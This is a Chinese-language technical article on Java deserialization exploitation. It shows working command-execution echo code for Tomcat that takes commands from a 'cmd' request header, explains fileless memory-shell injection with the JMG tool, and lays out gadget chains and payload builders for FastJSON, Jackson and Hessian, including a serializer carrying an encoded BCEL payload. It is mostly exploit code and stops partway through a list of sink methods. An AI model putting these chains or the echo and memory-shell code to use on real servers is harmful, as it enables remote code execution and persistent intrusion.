try{javax.management.MBeanServermbeanServer=org.apache.tomcat.util.modeler.Registry.getRegistry((Object)null, (Object)null).getMBeanServer();java.lang.reflect.Fieldfield=Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");field.setAccessible(true);Objectobj=field.get(mbeanServer);field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");field.setAccessible(true);obj = field.get(obj);field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");field.setAccessible(true);java.util.HashMapobj2=(java.util.HashMap)field.get(obj);java.util.Iterator iter;if(obj2.get("Tomcat") ==null){iter = ((java.util.HashMap) obj2.get("Catalina")).entrySet().iterator();}else{iter = ((java.util.HashMap) obj2.get("Tomcat")).entrySet().iterator();}while(iter.hasNext()) {java.util.Map.Entryentry=(java.util.Map.Entry) iter.next();Objectkey=entry.getKey();obj = entry.getValue();if(key.toString().endsWith("type=GlobalRequestProcessor") && key.toString().startsWith("name=\"http-")) {break;}}field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");field.setAccessible(true);obj = field.get(obj);field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");field.setAccessible(true);obj = field.get(obj);field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");field.setAccessible(true);java.util.ArrayListobj3=(java.util.ArrayList)field.get(obj);field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");field.setAccessible(true);booleanisLinux=true;StringosTyp=System.getProperty("os.name");if(osTyp !=null&& osTyp.toLowerCase().contains("win")) {isLinux =false;}for(inti=0; i < obj3.size(); i++) {org.apache.coyote.Requestobj4=(org.apache.coyote.Request) field.get(obj3.get(i));Stringusername=obj4.getHeader("cmd");if(username !=null){String[] cmds = isLinux ?newString[]{"sh","-c", username} :newString[]{"cmd.exe","/c", username};java.io.InputStreamin=Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanners=newjava.util.Scanner(in).useDelimiter("\a");Stringoutput="";while(s.hasNext()){output += s.next();}byte[] buf = output.getBytes();org.apache.tomcat.util.buf.ByteChunkbc=neworg.apache.tomcat.util.buf.ByteChunk();bc.setBytes(buf,0, buf.length);obj4.getResponse().setHeader("xxxx",output);break;}}}catch(Exception e){}
tomcat在mbean中能获取到所有的request,然后遍历所有的request查看哪个request有设置cmd请求头即是我们的请求,然后再通过request获取到response,将命令执行的结果进行回显。
通过反序列化执行如上代码,即可将命令结果回显到response中。
内存马植入
在最开始内存马的出现主要是为了解决权限维持的问题,不过随着Spring Boot这类Fat JAR应用的普及,传统的Webshell落地方式已难以实现,单纯依赖命令执行回显的技术手段在横向渗透过程中已无法满足需求,这也推动了内存马技术的日益流行。
首先简单了解一下内存马的原理,Java内存马是一种驻留在内存中的恶意程序,其核心原理是通过篡改或动态注册中间件组件的执行逻辑,实现无文件化的持久化攻击。利用Java应用运行时的动态特性,将恶意代码注入到中间件管理的组件中,从而规避常规文件检测机制。
通过能够执行代码的漏洞,随后利用中间件的API动态注册恶意组件。在Servlet容器中,攻击者可能通过ServletContext动态添加一个恶意Filter或Servlet;在Spring框架中,则可能通过RequestMappingHandlerMapping注册恶意控制器。将内存马逻辑加入到这些恶意组件中,攻击者请求指定的地址就能触发内存马逻辑。
反序列化植入内存马最需要解决的问题依然是和命令执行回显类似,由于上下文中并没有StandardContext所以需要通过代码执行去其他地方拿到StandardContext。
在最开始,大家都还是依然从mbean或者threadlocal里面获取Context,但是会遇到适配问题,每个版本可能都存在差异,导致内存马的注入器不通用。为了解决这个问题,后续开始遍历Thread.currentThread来搜索Context,这样的好处就是不用写死Context所处的位置能够适配更多的环境、版本,只需要写好搜索代码,搜索到了Context就结束,然后对这个Context动态添加恶意组件。
JMG是目前最常用的内存马注入工具https://github.com/pen4uin/java-memshell-generator,它将内存马的注入主要分为了注入器和内存马的逻辑。注入器的作用就是获取到当前环境的context以及动态的添加内存马,JMG内置了大量的注入器模板,每个中间件及其对应的组件类型都提供了一个模板 https://github.com/pen4uin/java-memshell-generator/tree/main/jmg-core/src/main/java/jmg/core/template,
这些注入器获取Context的方法既有从thread搜索的,也有固定位置的。
在通过反序列化植入内存马时,可以先通过JMG生成注入器(内存马已经包含在了里面)的字节码。
然后通过反序列化执行生成的注入器代码,反序列化触发后执行完代码内存马就植入到了目标Context中。
新利用链
ysoserial 中已有大量利用链(https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads),而近年来,有越来越多的新利用链被发现,反序列化实现RCE的成功率也逐渐提高。下面列举几个目前用得比较多的,但ysoserial没有内置的。
FASTJSON
在FastJSON <= 1.2.48版本时,
com.alibaba.fastjson.JSON#toString
publicStringtoString() {returnthis.toJSONString();},
toString是在反序列化中很常用的一个入口方法,toString方法中调用了toJSONString方法,
publicStringtoJSONString(){SerializeWriterout=newSerializeWriter();String var2;try{(newJSONSerializer(out)).write(this);var2 =out.toString();}finally{out.close();}returnvar2;}
toJSONString会触发序列化然后返回序列化的字符串,序列化一般是会触发getter方法的,最终再次通过Templatesimpl实现利用。
在FastJSON > 1.2.48后,
com.alibaba.fastjson.JSONArray 和 com.alibaba.fastjson.JSONObject 中的readObject方法,
privatevoidreadObject(ObjectInputStream in)throwsIOException, ClassNotFoundException {JSONObject.SecureObjectInputStream.ensureFields();if(JSONObject.SecureObjectInputStream.fields !=null&& !JSONObject.SecureObjectInputStream.fields_error) {ObjectInputStreamsecIn=newSecureObjectInputStream(in);try{((ObjectInputStream)secIn).defaultReadObject();return;}catch(NotActiveException var6) {}}in.defaultReadObject();Iteratorvar7=this.map.entrySet().iterator();while(var7.hasNext()) {Map.Entryentry=(Map.Entry)var7.next();Objectkey=entry.getKey();if(key !=null) {ParserConfig.global.checkAutoType(key.getClass());}Objectvalue=entry.getValue();if(value !=null) {ParserConfig.global.checkAutoType(value.getClass());}}}staticclassSecureObjectInputStreamextendsObjectInputStream{staticField[] fields;staticvolatilebooleanfields_error;staticvoidensureFields(){if(fields ==null&& !fields_error) {try{Field[] declaredFields = ObjectInputStream.class.getDeclaredFields();String[] fieldnames =newString[]{"bin","passHandle","handles","curContext"};Field[] array =newField[fieldnames.length];for(inti=0; i < fieldnames.length; ++i) {Fieldfield=TypeUtils.getField(ObjectInputStream.class, fieldnames[i], declaredFields);field.setAccessible(true);array[i] = field;}fields = array;}catch(Throwable var5) {fields_error =true;}}}publicSecureObjectInputStream(ObjectInputStream in)throwsIOException {super(in);try{for(inti=0; i < fields.length; ++i) {Fieldfield=fields[i];Objectvalue=field.get(in);field.set(this, value);}}catch(IllegalAccessException var5) {fields_error =true;}}protectedClass<?> resolveClass(ObjectStreamClass desc)throwsIOException, ClassNotFoundException {Stringname=desc.getName();if(name.length() >2) {intindex=name.lastIndexOf(91);if(index != -1) {name = name.substring(index +1);}if(name.length() >2&& name.charAt(0) =='L'&& name.charAt(name.length() -1) ==';') {name = name.substring(1, name.length() -1);}if(TypeUtils.getClassFromMapping(name) ==null) {ParserConfig.global.checkAutoType(name, (Class)null, Feature.SupportAutoType.mask);}}returnsuper.resolveClass(desc);}protectedClass<?> resolveProxyClass(String[] interfaces)throwsIOException, ClassNotFoundException {String[] var2 = interfaces;intvar3=interfaces.length;for(intvar4=0; var4 < var3; ++var4) {Stringinterfacename=var2[var4];if(TypeUtils.getClassFromMapping(interfacename) ==null) {ParserConfig.global.checkAutoType(interfacename, (Class)null);}}returnsuper.resolveProxyClass(interfaces);}protectedvoidreadStreamHeader()throwsIOException, StreamCorruptedException {}}
高版本对反序列化的类存在了限制,通过SecureObjectInputStream的resolveclass方法限制了jsonarray或者Jsonobject中的map属性类型必须为autotype允许的。
但是这样存在一个问题,只有在反序列化jsonobject或者jsonarray的时候才可能会触发到这个resolveclass限制(作为一个组件开发者也只能做到这种)。
在java.io.ObjectInputStream中,
privateObjectStreamClassreadClassDesc(booleanunshared)throwsIOException{bytetc=bin.peekByte();ObjectStreamClass descriptor;switch(tc) {caseTC_NULL:descriptor = (ObjectStreamClass) readNull();break;caseTC_REFERENCE:descriptor = (ObjectStreamClass) readHandle(unshared);break;caseTC_PROXYCLASSDESC:descriptor = readProxyDesc(unshared);break;caseTC_CLASSDESC:descriptor = readNonProxyDesc(unshared);break;
TC CLASSDESC分支中,会调用resolveClass方法,触发到SecureObjectInputStream的resolveClass方法。
privateObjectStreamClassreadNonProxyDesc(booleanunshared)throwsIOException{if(bin.readByte() != TC_CLASSDESC) {thrownewInternalError();}ObjectStreamClassdesc=newObjectStreamClass();intdescHandle=handles.assign(unshared ? unsharedMarker : desc);passHandle = NULL_HANDLE;ObjectStreamClassreadDesc=null;try{readDesc = readClassDescriptor();}catch(ClassNotFoundException ex) {throw(IOException)newInvalidClassException("failed to read class descriptor").initCause(ex);}Class<?> cl =null;ClassNotFoundExceptionresolveEx=null;bin.setBlockDataMode(true);finalbooleanchecksRequired=isCustomSubclass();try{if((cl = resolveClass(readDesc)) ==null) {resolveEx =newClassNotFoundException("null class");}elseif(checksRequired) {ReflectUtil.checkPackageAccess(cl);}}catch(ClassNotFoundException ex) {
java.io.ObjectInputStream#readObject0
switch (tc) {case TC_NULL:returnreadNull();case TC_REFERENCE:returnreadHandle(unshared);case TC_CLASS:returnreadClass(unshared);case TC_CLASSDESC:case TC_PROXYCLASSDESC:returnreadClassDesc(unshared);case TC_STRING:case TC_LONGSTRING:returncheckResolve(readString(unshared));case TC_ARRAY:returncheckResolve(readArray(unshared));case TC_ENUM:returncheckResolve(readEnum(unshared));case TC_OBJECT:returncheckResolve(readOrdinaryObject(unshared));case TC_EXCEPTION:IOException ex =readFatalException();throw new WriteAbortedException("writing aborted", ex);case TC_BLOCKDATA:
在反序列化时,readClass最终也会调用到readClassDesc,所以排除STRING、LONGSTRING后,基本只有TC_REFERENCE可用。
在Java反序列化中,TC_REFERENCE是序列化协议中用于表示对象引用的特殊标记。当序列化流中存在多个引用指向同一对象时,TC_REFERENCE会通过关联已分配的唯一句柄(Handle)来避免重复序列化,确保反序列化时重建的对象引用关系与原对象图一致,这种机制在正常场景下优化了序列化效率。
利用引用的特效,先在其他地方反序列化出来一个templatesimpl,最后jsonarray中再次反序列化同一个templatesimpl的时候就会触发引用,这时候就不会重复反序列化就不会触发到resolveClass,实现了绕过。
最后的利用如下:
@OverridepublicObjectgetObject(Stringcommand) throwsException{HashMap hashMap =newHashMap();Objecttemplates =Gadgets.createTemplatesImpl(command);BadAttributeValueExpExceptionval =newBadAttributeValueExpException(null);Fieldvalfield = val.getClass().getDeclaredField("val");Reflections.setAccessible(valfield);ArrayListarrayList =newArrayList();arrayList.add(templates);JSONArrayjsonArray =newJSONArray(arrayList);valfield.set(val, jsonArray);hashMap.put(templates, val);returnhashMap;}
JACKSON
com.fasterxml.jackson.databind.node.BaseJsonNode
publicStringtoString() {returnInternalNodeMapper.nodeToString(this);}
publicstaticStringnodeToString(BaseJsonNode n) {try{returnSTD_WRITER.writeValueAsString(_wrapper(n));}catch(IOExceptionvar2) {IOExceptione = var2;thrownewRuntimeException(e);}}
protectedfinalvoid_writeValueAndClose(JsonGenerator gen, Object value)throwsIOException {if(this._config.isEnabled(SerializationFeature.CLOSE_CLOSEABLE) && valueinstanceofCloseable) {this._writeCloseable(gen, value);}else{try{this._prefetch.serialize(gen, value,this._serializerProvider());}catch(Exception var4) {Exceptione=var4;ClassUtil.closeOnFailAndThrowAsIOE(gen, e);return;
在_writeValueAndClose中又会再次序列化,和Fastjson差不太多,所以会触发getter方法。
最终的利用如下:
@OverridepublicObjectgetObject(String command)throwsException {Objecttemplates=Gadgets.createTemplatesImpl(command);POJONodenode=newPOJONode(templates);BadAttributeValueExpExceptionval=newBadAttributeValueExpException(null);Fieldvalfield=val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, node);returnval;}
Hessian 反序列化
基础介绍
Hessian是一个轻量级的跨语言序列化协议,广泛应用于Java分布式系统中,如Dubbo等。它提供了一种高效的方式来序列化和反序列化Java对象,尤其在Web服务中得到了广泛的使用。
Hessian与JAVA原生反序列化的主要差异在于:
Hessian反序列化的类不需要实现java.io.Serializable的接口,扩大了攻击面。
Hessian不会自动调用反序列化类的readObject方法,Hessian反序列化不需要readObject()方法来处理对象恢复。在Hessian的反序列化过程中,数据被解析并转换为Java对象时,Hessian直接使用Hessian2Input.readObject()方法来处理数据流。此方法并不依赖于readObject()来恢复对象的状态,而是通过Hessian自定义的反序列化协议和字段填充机制来直接将对象的字段值填充到新创建的对象中。
技术剖析
以Hessian 4.0.66为例。
Hessian在恢复普通对象时,调用readObject方法,
publicObjectreadObject(AbstractHessianInput in, Object[] fields)throwsIOException {try{Objectobj=this.instantiate();returnthis.readObject(in, obj, (FieldDeserializer2[])fields);}catch(IOException var4) {IOExceptione=var4;throwe;}catch(RuntimeException var5) {RuntimeExceptione=var5;throwe;}catch(Exception var6) {Exceptione=var6;thrownewIOExceptionWrapper(this._type.getName() +":"+ e.getMessage(), e);}}
instantiate方法中,是直接通过unsafe方法获取反序列化类的实例,
protectedObjectinstantiate() throws Exception{return_unsafe.allocateInstance(this._type);}
然后通过this.readObject(in, obj, (FieldDeserializer2[])fields); 恢复对象的Field,
publicObjectreadObject(AbstractHessianInput in, Object obj, FieldDeserializer2[] fields)throwsIOException {try{intref=in.addRef(obj);FieldDeserializer2[] var5 = fields;intvar6=fields.length;for(intvar7=0; var7 < var6; ++var7) {FieldDeserializer2reader=var5[var7];reader.deserialize(in, obj);}Objectresolve=this.resolve(in, obj);if(obj != resolve) {in.setRef(ref, resolve);}returnresolve;
恢复对象的Field依然是通过unsafe的putObject方法直接进行恢复。
publicvoiddeserialize(AbstractHessianInput in, Object obj)throwsIOException {Stringvalue=null;try{value = in.readString();FieldDeserializer2FactoryUnsafe._unsafe.putObject(obj,this._offset, value);}catch(Exception var5) {Exceptione=var5;FieldDeserializer2FactoryUnsafe.logDeserializeError(this._field, obj, value, e);}}}
Hessian有多个反序列化器,在反序列map类型时,com.caucho.hessian.io.MapDeserializer#readMap
publicObjectreadMap(AbstractHessianInputin) throws IOException{Object map;if(this._type ==null) {map =newHashMap();}elseif(this._type.equals(Map.class)) {map =newHashMap();}elseif(this._type.equals(SortedMap.class)) {map =newTreeMap();}else{try{map = (Map)this._ctor.newInstance();}catch(Exception var4) {thrownewIOExceptionWrapper(var4);}}in.addRef(map);while(!in.isEnd()) {((Map)map).put(in.readObject(),in.readObject());}in.readEnd();returnmap;}
默认支持Hashmap、Treemap两种类型,其他map类型会通过反射构造方法实例化对象,所以还支持java.util.WeakHashMap、java.util.Hashtable等存在默认无参构造方法的map类。
在生成了map对象后,就会开始恢复map数据,开始反序列化后put。
HashMap是数组+链表的数据结构,
publicVput(K key, V value) {returnputVal(hash(key), key, value,false,true);}
staticfinalinthash(Object key){inth;return(key ==null) ?0: (h = key.hashCode()) ^ (h >>>16);}
HashMap在put前会先计算key的hashcode用来判断链表中是否已经存在可能一样的对象,如果链表中已经存在相同hashcode的key,在putVal时就会调用equals方法来判断这两个对象是否为相同对象,如果不相同则会put到HashMap中。
从这里能看出触发到equals方法存在一定的限制,也就是链表中已经存在和当前对象hashcode一致的对象。
finalVputVal(inthash, K key, V value,booleanonlyIfAbsent,booleanevict) {Node[] tab; Node p;intn, i;if((tab = table) ==null|| (n = tab.length) ==0)n = (tab = resize()).length;if((p = tab[i = (n -1) & hash]) ==null)tab[i] = newNode(hash, key, value,null);else{Node e; K k;if(p.hash == hash &&((k = p.key) == key || (key !=null&& key.equals(k))))e = p;
之前也说到了,在Hessian的MapDeserializer中除了Hashmap还支持一些其他的map类型,比如TreeMap,在TreeMap#put中,又会调到compareTo方法。
publicVput(K key, V value) {Entry t = root;if(t ==null) {compare(key, key);// type (and possibly null) checkroot = new Entry<>(key, value, null);size = 1;modCount++;return null;}final int compare(Object k1, Object k2) {return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2): comparator.compare((K)k1, (K)k2);}}
Hessian反序列化常用的几个入口方法如下。
hashCode
publicVput(K key, V value) {returnputVal(hash(key), key, value,false,true);}
在putval之前,会先对key计算一次hashcode方法,所以在Hessian反序列化中可以把hashCode当做入口方法。
EQUALS
在上面的分析中putVal方法,在put一个对象之前会先计算他的hashCode方法如果存在链表中已经存在了相同hash,就会调用equals方法对比是不是同一个对象,所以Equals也可以作为入口方法。
Node e; K k;if(p.hash ==hash&&((k = p.key) == key || (key != null && key.equals(k))))e = p;
com.sun.org.apache.xpath.internal.objects.XString
com.sun.org.apache.xpath.internal.objects.XString#equals是一个常用的从equals从toString的中间类。
public boolean equals(Object obj2){if(null == obj2)returnfalse;// In order to handle the'all'semantics of// nodeset comparisons, we always call the// nodesetfunction.elseif(obj2 instanceof XNodeSet)returnobj2.equals(this);elseif(obj2 instanceof XNumber)returnobj2.equals(this);elsereturnstr().equals(obj2.toString());}
java.util.Hashtable
java.util.Hashtable#equals 是一个常用的从equals到get的中间类。
publicsynchronizedbooleanequals(Objecto) {if(o ==this)returntrue;if(!(oinstanceofMap))returnfalse;Map t = (Map) o;if(t.size() !=size())returnfalse;try{Iterator> i =entrySet().iterator();while(i.hasNext()) {Map.Entry e = i.next();K key = e.getKey();V value = e.getValue();if(value ==null) {if(!(t.get(key)==null&& t.containsKey(key)))returnfalse;}else{if(!value.equals(t.get(key)))returnfalse;}}}catch(ClassCastExceptionunused) {returnfalse;}catch(NullPointerExceptionunused) {returnfalse;}
PUT
上面提到了Hessian的MapDeserializer在反序列化非Map、SortedMap、HashMap时,会通过反射无参构造方法实例化对象。实例化完成后会调用到put方法,简单翻了下从PUT能回到toString的一些类。
java.security.Provider#put
Provider抽象类继承了java.util.Properties,Properties又继承了java.util.Hashtable,同时存在无参构造方法,所以会用到MapDeserializer,
@OverridepublicsynchronizedObjectput(Objectkey,Objectvalue) {check("putProviderProperty."+name);if(debug !=null) {debug.println("Set "+ name +" provider property ["+key +"/"+ value +"]");}returnimplPut(key, value);}
能触发到key value的toString,可惜debug来源于,
privatestaticfinalsun.security.util.Debugdebug=sun.security.util.Debug.getInstance("provider","Provider");
只有当环境设置了-Djava.security.debug=all或Provider时,才会触发到toString,不是一个默认能触发的场景,并不好用。
SwingLazyValue value=newSwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper","_main",newObject[]{newString[]{"$$BCEL$$"+ bcel,"s"}});UIDefaultsuiDefaults=newUIDefaults();uiDefaults.put("user", value);Objecto=newMimeTypeParameterList();Fieldf=o.getClass().getDeclaredField("parameters");f.setAccessible(true);f.set(o, uiDefaults);AppleProviderappleProvider=newapple.security.AppleProvider();appleProvider.put("a", o);byte[] b = HessianTest.hessianSerialize(appleProvider);HessianTest.hessianDeserialize(b);
com.sun.javafx.fxml.builder.JavaFXImageBuilder#put
JavaFXImageBuilder继承了AbstractMap,同时存在无参构造方法,所以依然会使用到MapDeserializer反序列化器。
@OverridepublicObjectput(Stringkey,Objectvalue) {if( value !=null) {Stringstr = value.toString();if("url".equals( key)) {url = str;}elseif("requestedWidth".equals(key)) {requestedWidth =Double.parseDouble( str);}elseif("requestedHeight".equals(key)) {requestedHeight =Double.parseDouble(str);}elseif("preserveRatio".equals(key)) {preserveRatio =Boolean.parseBoolean(str);}elseif("smooth".equals(key)) {smooth =Boolean.parseBoolean(str);}elseif("backgroundLoading".equals(key)) {backgroundLoading =Boolean.parseBoolean(str);}else{thrownewIllegalArgumentException("Unknown Image property: "+ key);}}
在put方法中,很明显的对value调用了toString方法,这时候就从put到了toString方法。
直接开始测试,
com.sun.javafx.fxml.builder.JavaFXImageBuildero=newcom.sun.javafx.fxml.builder.JavaFXImageBuilder();o.put("url","b");byte[] b = HessianTest.hessianSerialize(o);HessianTest.hessianDeserialize(b);
结果在序列化时就直接产生了异常,
java.lang.UnsupportedOperationExceptionat com.sun.javafx.fxml.builder.JavaFXImageBuilder.entrySet(JavaFXImageBuilder.java:77)at com.caucho.hessian.io.MapSerializer.writeObject(MapSerializer.java:111)at com.caucho.hessian.io.Hessian2Output.writeObject(Hessian2Output.java:465)at HessianTest.hessianSerialize(HessianTest.java:48)
分析原因发现是因为com.caucho.hessian.io.MapSerializer在序列化map时,会调用到map的entrySet方法,
publicvoidwriteObject(Object obj, AbstractHessianOutputout) throws IOException{.........................Iterator iter = map.entrySet().iterator();while(iter.hasNext()) {Map.Entry entry = (Map.Entry)iter.next();out.writeObject(entry.getKey());out.writeObject(entry.getValue());}out.writeMapEnd();
而在com.sun.javafx.fxml.builder.JavaFXImageBuilder#entrySet,未实现并且直接抛出了异常,导致了序列化失败。
@OverridepublicSet>entrySet() {thrownewUnsupportedOperationException();}
在MapSerializer中,调用entrySet也仅是为了获取key、value序列化后输出到流中,那么直接修改MapSerializer的代码,移除对entrySet的调用,直接序列化key、value进行测试。
publicvoidwriteObject(Object obj, AbstractHessianOutputout) throws IOException{.........................out.writeObject("aa");out.writeObject("bb");out.writeMapEnd();
修改后发现序列化时不再产生异常,然而反序列化时生成的是HashMap而不是com.sun.javafx.fxml.builder.JavaFXImageBuilder,分析发现是因为在MapSerializer序列化时,
publicvoidwriteObject(Object obj, AbstractHessianOutputout) throws IOException{if(!out.addRef(obj)) {Map map = (Map)obj;Class<?> cl = obj.getClass();if(!cl.equals(HashMap.class) && obj instanceof Serializable) {.........}else{out.writeMapBegin((String)null);}
如果序列化类不是HashMap并且没有实现Serializable接口的话,写入的是null。
在MapDeserialier反序列化时,如果获取到的type是null,则会默认生成hashmap。
publicObjectreadMap(AbstractHessianInputin) throwsIOException{Objectmap;if(this._type==null) {map =newHashMap();}
怎么解决这个问题呢,很简单再次修改MapSerializer,干掉Serializable的限制,最后利用。
package com.caucho.hessian.io;import sun.swing.SwingLazyValue;import javax.activation.MimeTypeParameterList;import javax.swing.*;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Iterator;import java.util.Map;publicclassMapSerializerextendsAbstractSerializer{privateboolean_isSendJavaType =true;publicMapSerializer() {}publicvoidsetSendJavaType(booleansendJavaType) {this.isSendJavaType = sendJavaType;}publicbooleangetSendJavaType() {returnthis._isSendJavaType;}publicvoidwriteObject(Object obj, AbstractHessianOutput out) throws IOException {if(!out.addRef(obj)) {if(obj.getClass().equals(com.sun.javafx.fxml.builder.JavaFXImageBuilder.class)) {Map map = (Map) obj;Class<?> cl = obj.getClass();if(this._isSendJavaType) {out.writeMapBegin(cl.getName());}else{while(cl !=null) {if(cl.equals(HashMap.class)) {out.writeMapBegin((String)null);break;}if(cl.getName().startsWith("java.")) {out.writeMapBegin(cl.getName());break;}cl = cl.getSuperclass();}if(cl ==null) {out.writeMapBegin((String)null);}}out.writeObject("aa");SwingLazyValue value=newSwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper","_main",newObject[]{newString[]{"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$c2$40$Q$7d$L$85BE$f9$S$fcV$d4$83$60$o$5c$3c$98$60$bc$Y$3c5j$c4$e0$c1$83Y$ea$a6$$$vm$d3$W$c2$df$f2$a2$c6$83$3f$c0$le$9c$adFHd$93$99$97y$3b$f3$del$f6$f3$eb$fd$D$c01$f6$N$a4Q5$b0$82$d5$M$d6$U$ae$eb$d8$d0$b1$c9$90$3e$95$ae$8c$ce$Y$92$f5F$8fA$3b$f7$k$FC$de$94$ae$b8$i$N$fb$o$b8$e5$7d$87$98$92$e9Y$dc$e9$f1$40$aa$fa$97$d4$a2$t$Z$92$86$d9$ZK$a7$cd$90z$Yr$e92T$eb$f7$e6$80$8fy$cb$e1$ae$dd$eaF$81t$edv$y$cf$D$7b$ccP$9es$cd$60t$s$96$f0$p$e9$b9$a1$8e$z$aa$bb$de$u$b0$c4$85TVYe$d1TS9$e8$c8$e8$d8$cea$H5$f2$f2$7c$e1$d6$8ex$8d$d6$b3F$O$8f$bc$a0$c9$7d$3f$87$5d$ec$91$a1$gc$uL$ed$ae$fa$DaE$b4$c3$94$fa$f3e$uN$d9$9b$91$h$c9$nY$h$b6$88$fe$8aJ$bda$fe$eb$a1$e551$R$W$c3A$7d$ce$c3g$a8$eb$c0$b3D$Y$b6i$bb$U$fd$89$3a$J0$f5$o$caY$aaZ$84$8c0u$f8$K$f6$i$h$94$d31$c9$b0$409$f7$d3$40$b8H$98$c5$S$f2$d4$a5$86Ob1$c0xC$a2$94$7c$81v7U0$I$81$q$f5i3$w$G$K$u$S$96$u4b$ca$U$cb$f1L$e5$h$c7$fd$cd$9d$3e$C$A$A","s"}});UIDefaults uiDefaults =newUIDefaults();uiDefaults.put("user", value);Object o =newMimeTypeParameterList();try{Field f = o.getClass().getDeclaredField("parameters");f.setAccessible(true);f.set(o, uiDefaults);}catch(Exceptione){}out.writeObject(o);out.writeMapEnd();}else{Map map = (Map) obj;Class<?> cl = obj.getClass();if(!cl.equals(HashMap.class) && objinstanceofSerializable) {if(this._isSendJavaType) {out.writeMapBegin(cl.getName());}else{while(cl !=null) {if(cl.equals(HashMap.class)) {out.writeMapBegin((String)null);break;}if(cl.getName().startsWith("java.")) {out.writeMapBegin(cl.getName());break;}cl = cl.getSuperclass();}if(cl ==null) {out.writeMapBegin((String)null);}}}else{out.writeMapBegin((String)null);}Iteratoriter = map.entrySet().iterator();while(iter.hasNext()) {Map.Entry entry = (Map.Entry) iter.next();out.writeObject(entry.getKey());out.writeObject(entry.getValue());}out.writeMapEnd();}}}}
利用方式发展
SpringAbstractBeanFactoryPointcutAdvisor JNDI
在marshalsec中Hessian2最常用的利用链为SpringAbstractBeanFactoryPointcutAdvisor,最终能实现JNDI利用。
在marshalsec的文档描述了这条利用链。
入口依旧是通过Map的Equals,触发到AbstractPointcutAdvisor的,
当然这个利用存在一些缺陷:
需要有Spring相关包
JNDI利用存在版本限制,或者依靠反序列化需要本地classpath存在利用链
JNDI需要目标服务器能够出网
JDK原生利用链
在22年的0ctf中,有一道hessian的反序列化题没有任何的第三方依赖包,在此之后越来越多的Hessian JDK点利用链被发掘。
该利用的核心方法为sun.swing.SwingLazyValue#createValue ,存在反射操作。
publicObject createValue(UIDefaults var1) {try{ReflectUtil.checkPackageAccess(this.className);Class var2 = Class.forName(this.className,true, (ClassLoader)null);Class[] var3;if(this.methodName !=null) {var3 =this.getClassArray(this.args);Method var6 = var2.getMethod(this.methodName, var3);this.makeAccessible(var6);returnvar6.invoke(var2,this.args);}else{var3 =this.getClassArray(this.args);Constructor var4 = var2.getConstructor(var3);this.makeAccessible(var4);returnvar4.newInstance(this.args);}}catch(Exception var5) {returnnull;}}
在createValue中存在反射操作,存在两种操作,通过createValue最后调用到sink方法:
没有实例化,调用static方法
有参构造方法调用
Source 1 javax.activation.MimeTypeParameterList#toString
privateHashtableparameters =newHashtable();publicStringtoString() {StringBufferbuffer =newStringBuffer();buffer.ensureCapacity(this.parameters.size() *16);Enumerationkeys =this.parameters.keys();while(keys.hasMoreElements()) {Stringkey = (String)keys.nextElement();buffer.append("; ");buffer.append(key);buffer.append('=');buffer.append(quote((String)this.parameters.get(key)));}returnbuffer.toString();}
toString方法中,对Hashtable类型的parameters调用了get方法。
Source 2 java.util.Hashtable#equals
如果hashtable中存在了同名key后,会对比value,也能够触发到get方法。
publicsynchronized boolean equals(Object o) {if(o ==this)returntrue;if(!(o instanceof Map))returnfalse;Map t = (Map) o;if(t.size() != size())returnfalse;try{Iterator> i = entrySet().iterator();while(i.hasNext()) {Map.Entry e = i.next();K key = e.getKey();V value = e.getValue();if(value ==null) {if(!(t.get(key)==null&& t.containsKey(key)))returnfalse;}else{if(!value.equals(t.get(key)))returnfalse;}}}catch(ClassCastException unused) {returnfalse;}catch(NullPointerException unused) {returnfalse;}returntrue;}
UIDefaults继承了Hashtable,在UIDefaults中的get方法调用了getFromHashtable,如果value的类型是LazyValue相关,就会调用到LazyValue的createValue方法。
publicclassUIDefaultsextendsHashtable{publicObjectget(Objectkey) {Objectvalue =getFromHashtable( key );return(value !=null) ? value :getFromResourceBundle(key,null);}privateObjectgetFromHashtable(finalObjectkey) {/ Quickly handle the common case, without grabbing a lock./Objectvalue =super.get(key);if((value !=PENDING) &&!(valueinstanceofActiveValue) &&!(valueinstanceofLazyValue)) {returnvalue;}/ If the LazyValue for key is being constructed by another thread then wait and then return the new value, otherwise drop the lock and construct the ActiveValue or the LazyValue. We use the special value PENDING to mark LazyValues that are being constructed./synchronized(this) {value =super.get(key);if(value ==PENDING) {do{try{this.wait();}catch(InterruptedExceptione) {}value =super.get(key);}while(value ==PENDING);returnvalue;}elseif(valueinstanceofLazyValue) {super.put(key,PENDING);}elseif(!(valueinstanceofActiveValue)) {returnvalue;}}/ At this point we know that the value of key was a LazyValue or an ActiveValue./if(valueinstanceofLazyValue) {try{/ If an exception is thrown we'll just put the LazyValue back in the table.*/value = ((LazyValue)value).createValue(this);}finally{synchronized(this) {if(value ==null) {super.remove(key);}else{super.put(key, value);}this.notifyAll();}}}else{value = ((ActiveValue)value).createValue(this);}returnvalue;}}
调用到createValue后,就能调用任意的static方法了,目前常利用的几个static方法如下:
com.sun.org.apache.bcel.internal.util.JavaWrapper#_main
